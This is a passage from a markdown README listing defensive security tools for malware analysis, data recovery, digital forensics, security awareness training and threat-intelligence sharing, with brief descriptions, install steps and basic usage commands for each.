[IDAPython cheatsheet](https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c)
[IDA Pro Cheatsheet](https://hex-rays.com/products/ida/support/freefiles/IDA_Pro_Shortcuts.pdf)
*Image used from https://www.newton.com.tw/wiki/IDA%20Pro*
### [🔙](#tool-list)[Ghidra](https://ghidra-sre.org/)
Ghidra is a free, open-source software reverse engineering tool developed by the National Security Agency (NSA). It is used to analyze compiled and executable code, including malware.
Ghidra allows users to disassemble code, decompile it into a higher-level programming language, and view and edit the resulting source code. This can be useful for identifying vulnerabilities, analyzing malware, and understanding how a program works.
Ghidra also includes a range of features and tools that support SRE tasks, such as debugging, code graphing, and data visualization. Ghidra is written in Java and is available for Windows, MacOS, and Linux.
**Install:**
1. Download the latest release from [here](https://github.com/NationalSecurityAgency/ghidra/releases).
2. Extract the zip
Full installation and error fix information can be found [here](https://ghidra-sre.org/InstallationGuide.html#Install).
**Usage:**
1. Navigate to the unzipped folder
```bash
# Windows
ghidraRun.bat
# Linux
./ghidraRun
```
If Ghidra failed to launch, see the [Troubleshooting](https://ghidra-sre.org/InstallationGuide.html#Troubleshooting) link.
*Image used from https://www.malwaretech.com/2019/03/video-first-look-at-ghidra-nsa-reverse-engineering-tool.html*
### [🔙](#tool-list)[decode-vbe](https://github.com/DidierStevens/DidierStevensSuite/blob/master/decode-vbe.py)
Script Encoding was introduced by Microsoft (long ago) to prevent people from being able to read, understand and alter VBScript files.
Encoded scripts are unreadable but still able to execute, making it a popular mechanism with threat actors looking to hide their malicious code, IOCs, hardcoded C2 domains etc whilst still being able to achieve execution.
The decode-vbe script can be used to convert encoded VBE files back to plaintext for analysis.
Nice blog about VBE files [here](https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16).
**Install:**
```bash
git clone https://github.com/DidierStevens/DidierStevensSuite/
cd DidierStevensSuite
```
**Usage:**
```bash
# Decode literal string
decode-vbe.py "##@~^DgAAAA==\ko$K6,JCV^GJqAQAAA==^#~@"
# Decode hexadecimal (prefix #h#)
decode-vbe.py #h#23407E5E4467414141413D3D5C6B6F244B362C4A437F565E474A7141514141413D3D5E237E40
# Decode base64 (prefix #b#)
decode-vbe.py #b#I0B+XkRnQUFBQT09XGtvJEs2LEpDf1ZeR0pxQVFBQUE9PV4jfkA=
```
### [🔙](#tool-list)[pafish](https://github.com/a0rtega/pafish)
Pafish is a testing tool that uses different techniques to detect virtual machines and malware analysis environments in the same way that malware families do.
The project is free and open source; the code of all the anti-analysis techniques is publicly available. Pafish executables for Windows (x86 32-bit and 64-bit) can be downloaded from the [releases page](https://github.com/a0rtega/pafish/releases).
**Install: (Build)**
Pafish is written in C and can be built with Mingw-w64 and make.
The wiki page "[How to build](https://github.com/a0rtega/pafish/wiki/How-to-build)" contains detailed instructions.
**Usage:**
```bash
pafish.exe
```
*Image used from https://github.com/a0rtega/pafish*
### [🔙](#tool-list)[lookyloo](https://github.com/Lookyloo/lookyloo)
Lookyloo is a web interface that captures a webpage and then displays a tree of the domains, that call each other.
Use Lookyloo to map the journey a website page takes - from entering the initial URL address to the various redirects to third-party affiliations.
**Install:**
```bash
git clone https://github.com/Lookyloo/lookyloo.git
cd lookyloo
poetry install
echo LOOKYLOO_HOME="'`pwd`'" > .env
```
Full installation instructions can be found [here](https://www.lookyloo.eu/docs/main/install-lookyloo.html).
**Usage:**
Once installed and running, lookyloo can be operated via the web interface hosted locally.
*Image used from https://www.lookyloo.eu/*
### [🔙](#tool-list)[YARA](https://github.com/virustotal/yara)
YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns.
Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic.
**Install:**
```bash
tar -zxf yara-4.2.0.tar.gz
cd yara-4.2.0
./bootstrap.sh
sudo apt-get install automake libtool make gcc pkg-config
git clone https://github.com/VirusTotal/yara
cd yara
./bootstrap.sh
./configure
make
sudo make install
```
Full installation instructions can be found [here](https://yara.readthedocs.io/en/stable/gettingstarted.html#compiling-and-installing-yara).
**Usage:**
```bash
# Apply rule in /foo/bar/rules to all files in the current directory
yara /foo/bar/rules .
# Scan all files in the /foo directory and its subdirectories:
yara /foo/bar/rules -r /foo
```
Nice YARA cheatsheet [here](https://github.com/mattnotmax/DFIR-notes/blob/master/cheatsheet_yara.md).
*Image used from https://virustotal.github.io/yara/*
### [🔙](#tool-list)[Cuckoo Sandbox](https://cuckoosandbox.org/)
Cuckoo is an open source automated malware analysis system.
It’s used to automatically run and analyze files and collect comprehensive analysis results that outline what the malware does while running inside an isolated operating system.
It can retrieve the following type of results:
- Traces of calls performed by all processes spawned by the malware.
- Files being created, deleted and downloaded by the malware during its execution.
- Memory dumps of the malware processes.
- Network traffic trace in PCAP format.
- Screenshots taken during the execution of the malware.
- Full memory dumps of the machines.
**Install:**
For installation follow the docs [here](https://cuckoo.readthedocs.io/en/latest/installation/).
**Usage:**
For usage follow the docs [here](https://cuckoo.readthedocs.io/en/latest/usage/).
### [🔙](#tool-list)[radare2](https://github.com/radareorg/radare2)
Radare2 provides a set of libraries, tools and plugins to ease reverse engineering tasks.
r2 is a featureful low-level command-line tool with support for scripting. r2 can edit files on local hard drives, view kernel memory, and debug programs locally or via a remote gdb server. r2's wide architecture support allows you to analyze, emulate, debug, modify, and disassemble any binary.
**Install:**
```bash
git clone https://github.com/radareorg/radare2
radare2/sys/install.sh
```
**Usage:**
```bash
$ r2 /bin/ls # open the binary in read-only mode
> aaa # same as r2 -A, analyse the binary
> afl # list all functions (try aflt, aflm)
> px 32 # print 32 byte hexdump current block
> s sym.main # seek to the given offset (by flag name, number, ..)
> f~foo # filter flags with ~grep (same as |grep)
> iS;is # list sections and symbols (same as rabin2 -Ss)
> pdf; agf # print function and show control-flow-graph in ascii-art
> oo+;w hello # reopen in rw mode and write a string in the current offset
> ?*~... # interactive filter all command help messages
> q # quit
```
Great usage book [here](https://book.rada.re/).
*Image used from https://github.com/radareorg/radare2*
### [🔙](#tool-list)[dnSpy](https://github.com/dnSpy/dnSpy)
dnSpy is a debugger and .NET assembly editor. You can use it to edit and debug assemblies.
Main features:
- Debug .NET and Unity assemblies
- Edit .NET and Unity assemblies
**Install: (Build)**
```bash
git clone --recursive https://github.com/dnSpy/dnSpy.git
cd dnSpy
./build.ps1 -NoMsbuild
```
**Usage:**
```bash
dnSpy.exe
```
Nice tutorial page [here](https://7d2dsdx.github.io/Tutorials/index.html?StartingdnSpy.html).
*Image used from https://7d2dsdx.github.io/Tutorials/index.html?StartingdnSpy.html*
### [🔙](#tool-list)[malware-traffic-analysis.net](https://www.malware-traffic-analysis.net/)
This is a site with over 2,200 blog entries about malicious network traffic. Almost every post on the site has pcap files or malware samples (or both).
The site also contains a number of traffic analysis exercises, including technical blog posts outlining techniques being used by threat actors.
**Usage:**
Visit [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net/).
*Image used from https://www.malware-traffic-analysis.net/*
Data Recovery
====================
*Tools for recovering data from damaged or corrupted systems and devices.*
### [🔙](#tool-list)[Recuva](https://www.ccleaner.com/recuva)
Recuva is a data recovery tool that can be used to recover deleted files from your computer.
It is often used to recover deleted files that may contain valuable information, such as deleted logs or documents that could be used to investigate a security incident.
Recuva can recover files from hard drives, USB drives, and memory cards, and it is available for Windows and Mac operating systems.
**Install:**
You can download the tool from [here](https://www.ccleaner.com/recuva).
**Usage:**
Nice step by step [guide](https://toolbox.iskysoft.com/data-recovery-tips/recuva-windows-10.html).
*Image used from https://www.softpedia.com/blog/recuva-explained-usage-video-and-download-503681.shtml*
### [🔙](#tool-list)[Extundelete](https://extundelete.sourceforge.net/)
Extundelete is a utility that can be used to recover deleted files from an ext3 or ext4 file system.
It works by searching the file system for blocks of data that used to belong to a file, and then attempting to recreate the file using those blocks of data. It is often used to recover important files that have been accidentally or maliciously deleted.
**Install:**
You can download the tool from [here](https://sourceforge.net/project/platformdownload.php?group_id=260221).
**Usage:**
```bash
# Prints information about the filesystem from the superblock.
--superblock
# Attemps to restore the file which was deleted at the given filename, called as "--restore-file dirname/filename".
--restore-file path/to/deleted/file
# Restores all files possible to undelete to their names before deletion, when possible. Other files are restored to a filename like "file.NNNN".
--restore-all
```
Full usage information can be found [here](https://extundelete.sourceforge.net/options.html).
*Image used from https://theevilbit.blogspot.com/2013/01/backtrack-forensics-ext34-file-recovery.html*
### [🔙](#tool-list)[TestDisk](https://www.cgsecurity.org/wiki/TestDisk_Download)
TestDisk is a free and open-source data recovery software tool that is designed to help recover lost partitions and make non-booting disks bootable again. It is useful for both computer forensics and data recovery.
It can be used to recover data that has been lost due to a variety of reasons, such as accidental deletion, formatting, or corruption of the partition table.
TestDisk can also be used to repair damaged boot sectors, recover deleted partitions, and recover lost files. It supports a wide range of file systems, including FAT, NTFS, and ext2/3/4, and can be used to recover data from disks that are damaged or formatted with a different file system than the one they were originally created with.
**Install:**
You can download the tool from [here](https://www.cgsecurity.org/wiki/TestDisk_Download).
**Usage:**
Full usage examples [here](https://www.cgsecurity.org/wiki/Data_Recovery_Examples).
[Step by step guide](https://www.cgsecurity.org/wiki/TestDisk_Step_By_Step)
[TestDisk Documentation PDF - 60 Pages](https://www.cgsecurity.org/testdisk.pdf)
*Image used from https://www.cgsecurity.org/wiki/*
Digital Forensics
====================
*Tools for conducting forensic investigations of digital devices and systems, including tools for collecting and analyzing evidence.*
### [🔙](#tool-list)[SANS SIFT](https://www.sans.org/tools/sift-workstation/)
SANS SIFT (SANS Investigative Forensic Toolkit) is a powerful toolkit for forensic analysis and incident response.
It is a collection of open source and commercial tools that can be used to perform forensic analysis on a wide range of systems, including Windows, Linux, and Mac OS X. The SANS SIFT kit is designed to be run on a forensic workstation, which is a specialized computer that is used to perform forensic analysis on digital evidence.
The SANS SIFT kit is particularly useful for blue teamers, as it provides a wide range of tools and resources that can be used to investigate incidents, respond to threats, and perform forensic analysis on compromised systems.
**Install:**
1. Visit [https://www.sans.org/tools/sift-workstation/](https://www.sans.org/tools/sift-workstation/).
2. Click the 'Login to Download' button and input (or create) your SANS Portal account credentials to download the virtual machine.
3. Once you have booted the virtual machine, use the credentials below to gain access.
```
Login = sansforensics
Password = forensics
```
**Note:** *Use to elevate privileges to root while mounting disk images.*
Additional install options [here](https://www.sans.org/tools/sift-workstation/).
**Usage:**
```bash
# Registry Parsing - Regripper
rip.pl -r <HIVEFILE> -f <HIVETYPE>
# Recover deleted registry keys
deleted.pl <HIVEFILE>
# Mount E01 Images
ewfmount image.E01 mountpoint
mount -o
# Stream Extraction
bulk_extractor <options> -o output_dir
```
Full usage guide [here](https://www.sans.org/posters/sift-cheat-sheet/).
*Image used from https://securityboulevard.com/2020/08/how-to-install-sift-workstation-and-remnux-on-the-same-system-for-forensics-and-malware-analysis/*
### [🔙](#tool-list)[The Sleuth Kit](https://sleuthkit.org/sleuthkit/)
The Sleuth Kit is a collection of command line tools that can be used to analyze disk images and recover files from them.
It is primarily used by forensic investigators to examine digital evidence after a computer has been seized or an image of a disk has been made. It can be useful because it can help understand what happened during a security incident and identify any malicious activity.
The tools in The Sleuth Kit can be used to extract deleted files, analyze disk partition structures, and examine the file system for evidence of tampering or unusual activity.
**Install:**
Download tool from [here](https://sleuthkit.org/sleuthkit/download.php).
**Usage:**
Link to [documentation](https://sleuthkit.org/sleuthkit/docs.php).
*Image used from http://www.effecthacking.com/2016/09/the-sleuth-kit-digital-forensic-tool.html*
### [🔙](#tool-list)[Autopsy](https://www.autopsy.com/)
Autopsy is a digital forensics platform and graphical interface to The Sleuth Kit and other digital forensics tools.
It is used by law enforcement, military, and corporate examiners to investigate what happened on a computer. You can use it to analyze disk images and recover files, as well as to identify system and user activity.
Autopsy is used by "blue teams" (the cybersecurity professionals who defend organizations against attacks) to conduct forensic analysis and incident response. It can help blue teams understand the nature and scope of an attack, and identify any malicious activity that may have occurred on a computer or network.
**Install:**
Download the tool from [here](https://www.autopsy.com/download/).
**Usage:**
[Autopsy User Guide](http://sleuthkit.org/autopsy/docs/user-docs/4.19.3//)
[SANS - Introduction to using the AUTOPSY Forensic Browser](https://www.sans.org/blog/a-step-by-step-introduction-to-using-the-autopsy-forensic-browser/)
*Image used from https://www.kitploit.com/2014/01/autopsy-digital-investigation-analysis.html*
Security Awareness Training
====================
*Tools for training employees and other users on how to recognize and prevent potential security threats.*
### [🔙](#tool-list)[TryHackMe](https://tryhackme.com/dashboard)
TryHackMe is a platform that offers a variety of virtual machines, known as "rooms," which are designed to teach cybersecurity concepts and skills through hands-on learning.
These rooms are interactive and gamified, allowing users to learn about topics such as web vulnerabilities, network security, and cryptography by solving challenges and completing tasks.
The platform is often used for security awareness training, as it provides a safe and controlled environment for users to practice their skills and learn about different types of cyber threats and how to defend against them.
Visit [https://tryhackme.com/](https://tryhackme.com/) and create an account.
[TryHackMe - Getting Started Guide](https://docs.tryhackme.com/docs/teaching/teaching-getting-started/)
**Useful links:**
[Pre-Security Learning Path](https://tryhackme.com/path-action/presecurity/join)
[introduction to Cyber Security Learning Path](https://tryhackme.com/path-action/introtocyber/join)
Visit the [hacktivities](https://tryhackme.com/hacktivities) tab for a full list of available rooms and modules.
*Image used from https://www.hostingadvice.com/blog/learn-cybersecurity-with-tryhackme/*
### [🔙](#tool-list)[HackTheBox](https://www.hackthebox.com/)
HackTheBox is a platform for practicing and improving your hacking skills.
It consists of a set of challenges that simulate real-world scenarios and require you to use your knowledge of various hacking techniques to solve them. These challenges are designed to test your knowledge of topics such as network security, cryptography, web security, and more.
HackTheBox is often used by security professionals as a way to practice and improve their skills, and it can also be a useful resource for security awareness training. By working through the challenges and learning how to solve them, individuals can gain a better understanding of how to identify and mitigate common security threats.
Visit [https://app.hackthebox.com/login](https://app.hackthebox.com/login) and create an account.
**Useful links:**
[Blog - Introduction to Hack The Box](https://help.hackthebox.com/en/articles/5185158-introduction-to-hack-the-box)
[Blog - Learn to Hack with Hack The Box: The Beginner's Bible](https://www.hackthebox.com/blog/learn-to-hack-beginners-bible)
[Blog - Introduction to Starting Point](https://help.hackthebox.com/en/articles/6007919-introduction-to-starting-point)
*Image used from https://www.hackthebox.com/login*
### [🔙](#tool-list)[PhishMe](https://cofense.com/product-services/phishme/)
PhishMe is a company that provides security awareness training to help organizations educate their employees about how to identify and prevent phishing attacks.
PhishMe's training programs aim to teach employees how to recognize and report phishing attempts, as well as how to protect their personal and professional accounts from these types of attacks.
The company's training programs can be customized to fit the needs of different organizations and can be delivered through a variety of mediums, including online courses, in-person training, and simulations.
Request a demo from [here](https://go.cofense.com/live-demo/).
**Useful links:**
[Cofense Blog](https://cofense.com/blog/)
[Cofense Knowledge Center](https://cofense.com/knowledge-center-hub/)
*Image used from https://cofense.com/product-services/phishme/*
Communication and Collaboration
====================
Tools for coordinating and communicating with team members during an incident, including chat, email, and project management software.
### [🔙](#tool-list)[Twitter](https://twitter.com/)
Twitter is a great platform for sharing information about cyber security.
It's a platform that is widely used by security professionals, researchers, and experts, giving you access to an endless amount of new information.
Some great accounts to follow:
- [@vxunderground](https://twitter.com/vxunderground)
- [@Alh4zr3d](https://twitter.com/Alh4zr3d)
- [@3xp0rtblog](https://twitter.com/3xp0rtblog)
- [@C5pider](https://twitter.com/C5pider)
- [@_JohnHammond](https://twitter.com/_JohnHammond)
- [@mrd0x](https://twitter.com/mrd0x)
- [@TheHackersNews](https://twitter.com/TheHackersNews)
- [@pancak3lullz](https://twitter.com/pancak3lullz)
- [@GossiTheDog](https://twitter.com/GossiTheDog)
- [@briankrebs](https://twitter.com/briankrebs)
- [@SwiftOnSecurity](https://twitter.com/SwiftOnSecurity)
- [@schneierblog](https://twitter.com/schneierblog)
- [@mikko](https://twitter.com/mikko)
- [@campuscodi](https://twitter.com/campuscodi)
### [🔙](#tool-list)[Facebook TheatExchange](https://developers.facebook.com/docs/threat-exchange/getting-started)
Facebook ThreatExchange is a platform for security professionals to share and analyze information about cyber threats.
It was designed to help organizations better defend against threats by allowing them to share threat intelligence with each other in a private and secure way.
It is intended to be used by "blue teams", who are responsible for the security of an organization and work to prevent, detect, and respond to cyber threats.
**Usage:**
To request access to ThreatExchange, you have to submit an application via [https://developers.facebook.com/products/threat-exchange/](https://developers.facebook.com/products/threat-exchange/).
**Useful links:**
[Welcome to ThreatExchange!](https://developers.facebook.com/docs/threat-exchange/getting-started)
[ThreatExchange UI Overview](https://developers.facebook.com/docs/threat-exchange/ui)
[ThreatExchange API Reference](https://developers.facebook.com/docs/threat-exchange/reference/apis)
[GitHub - ThreatExchange](https://github.com/facebook/ThreatExchange/tree/main/python-threatexchange)
|
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